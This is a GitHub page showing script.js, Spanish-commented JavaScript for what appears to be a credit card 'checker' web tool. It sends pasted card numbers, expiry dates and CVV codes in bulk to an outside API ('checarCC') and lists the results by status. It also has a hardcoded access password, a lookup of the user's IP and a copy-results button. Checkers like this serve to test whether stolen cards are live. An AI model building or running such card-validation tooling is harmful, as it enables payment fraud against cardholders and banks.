-
Notifications
You must be signed in to change notification settings - Fork 6
/
script.js
198 lines (159 loc) · 6.6 KB
/
script.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
//Ponemos la funcion que nos da la fecha en un DOMContentLoaded
document.addEventListener("DOMContentLoaded", () => {
setYear();
});
//Seleccionamos los elementos HTML
const btnChecar = document.getElementById("btnChecar");
const textarea = document.getElementById("textarea");
const datosDiv = document.getElementById("datos");
const infos = document.getElementById("infos");
const setYear = () =>
(document.getElementById("date").textContent = new Date().getFullYear());
//Click del botón
btnChecar.addEventListener("click", async () => {
const tarjetas = textarea.value.split("\n").map((card) => card.split("|"));
//Hacemos la solicitud
try {
const respuesta = await fetch("https://freeapi.stery.us/api/checarCC", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(tarjetas),
});
const datos = await respuesta.json();
//Limpiamos el textarea y el DIV
datosDiv.innerHTML = "";
textarea.value = "";
let hayProblemas = true;
//Aquí se manejan los errores.
if (datos.error) {
datosDiv.textContent = `Error: ${datos.error}`;
hayProblemas = false;
}
if (hayProblemas) {
//Si se cumple, mostramos los datos
console.log(datos);
for (const detalles in datos) {
const tarjetas = datos[detalles];
for (const tarjeta of tarjetas) {
const resultado = `<p>
${detalles}:
Tarjeta: ${tarjeta.ccNum},
Mes: ${tarjeta.ccMes},
Año: ${tarjeta.ccAnio},
CCV: ${tarjeta.ccCodigo}
</p>`;
datosDiv.innerHTML += resultado;
}
}
}
} catch (error) {
//cualquier error externo se mostrará en consola y en el HTML.
console.error(`Error: ${error}`);
infos.textContent = `ERROR: ${error}`;
hayProblemas = false;
}
});
function loading() {
document.querySelector('.ove').style.display = 'none';
}
// Simular tiempo de carga
setTimeout(function() {
// Llamar a la función para cerrar la animación
loading();
}, 3000); // Cambia el tiempo de espera a tu preferencia (en milisegundos)
document.addEventListener('DOMContentLoaded', function() {
document.querySelector('.square').addEventListener('click', function() {
const checkmark = document.querySelector('.checkmark');
const conElement = document.querySelector('.con');
const textElement = document.querySelector('.text');
const roundedRectangle = document.querySelector('.rounded-rectangle');
const overlay1 = document.querySelector('.overlay1');
const cont2 = document.querySelector('.cont2'); // Elemento para mostrar contenido web
checkmark.style.animation = 'checkmarkAnimation 1s ease-in-out forwards';
setTimeout(() => {
checkmark.style.animation = '';
conElement.style.display = 'none';
textElement.style.display = 'none';
roundedRectangle.style.display = 'none';
overlay1.style.display = 'none';
// Mostrar contenido web y aplicar la clase cont2
cont2.style.display = 'block'; // O 'flex', según el caso
cont2.classList.add('cont2');
}, 3000);
});
});
document.addEventListener('DOMContentLoaded', function() {
const passwordInput = document.getElementById('passwordInput');
passwordInput.addEventListener('keyup', function(event) {
const password = event.target.value;
// Verificar si la contraseña es correcta (por ejemplo, "clave123")
if (password === 'BSZ') {
const overlay = document.querySelector('.overlay1');
const overlayContent = document.querySelector('.overlay1-content');
const inputField = document.querySelector('.overlay1 input');
overlay.style.display = 'none'; // Ocultar el overlay
overlayContent.style.display = 'none'; // Ocultar el contenido del overlay
inputField.style.display = 'none'; // Ocultar el campo de entrada
}
});
});
// Obtener la dirección IP del usuario
const userIPElement = document.getElementById("userIP");
fetch("https://api64.ipify.org?format=json")
.then(response => response.json())
.then(data => {
userIPElement.textContent = data.ip;
})
.catch(error => {
console.error("Error al obtener la dirección IP:", error);
});
// Obtener elementos del DOM
const profileImage = document.getElementById("profileImage");
const imageInput = document.getElementById("imageInput");
// Verificar si hay una imagen en el almacenamiento local y cargarla
const storedImage = localStorage.getItem("profileImage");
if (storedImage) {
profileImage.src = storedImage;
imageInput.style.display = "none";
}
// Manejar cambios en la imagen de perfil
imageInput.addEventListener("change", event => {
const selectedImage = event.target.files[0];
if (selectedImage) {
const imageURL = URL.createObjectURL(selectedImage);
profileImage.src = imageURL;
// Guardar la imagen en el almacenamiento local
localStorage.setItem("profileImage", imageURL);
// Ocultar el botón de selección de imagen
imageInput.style.display = "none";
}
});
// Función para copiar el texto al portapapeles
function copyText() {
// Obtener el texto dentro de las secciones
var datosText = document.querySelector('#datos').innerText;
var infosText = document.querySelector('#infos').innerText;
// Combinar los textos
var text = datosText + " " + infosText;
// Crear un elemento de área de texto temporal para copiar el texto
var tempTextArea = document.createElement('textarea');
tempTextArea.value = text;
document.body.appendChild(tempTextArea);
// Seleccionar el texto dentro del elemento de área de texto
tempTextArea.select();
// Copiar el texto al portapapeles
document.execCommand('copy');
// Eliminar el elemento de área de texto temporal
document.body.removeChild(tempTextArea);
// Mostrar una alerta o mensaje indicando que el texto se ha copiado
showAlert("Texto copiado al portapapeles!");
}
// Agregar evento de clic al botón "Copiar Texto"
var copyButton = document.getElementById('copyButton');
copyButton.addEventListener('click', copyText);
// Función para mostrar una alerta
function showAlert(message) {
alert(message);
}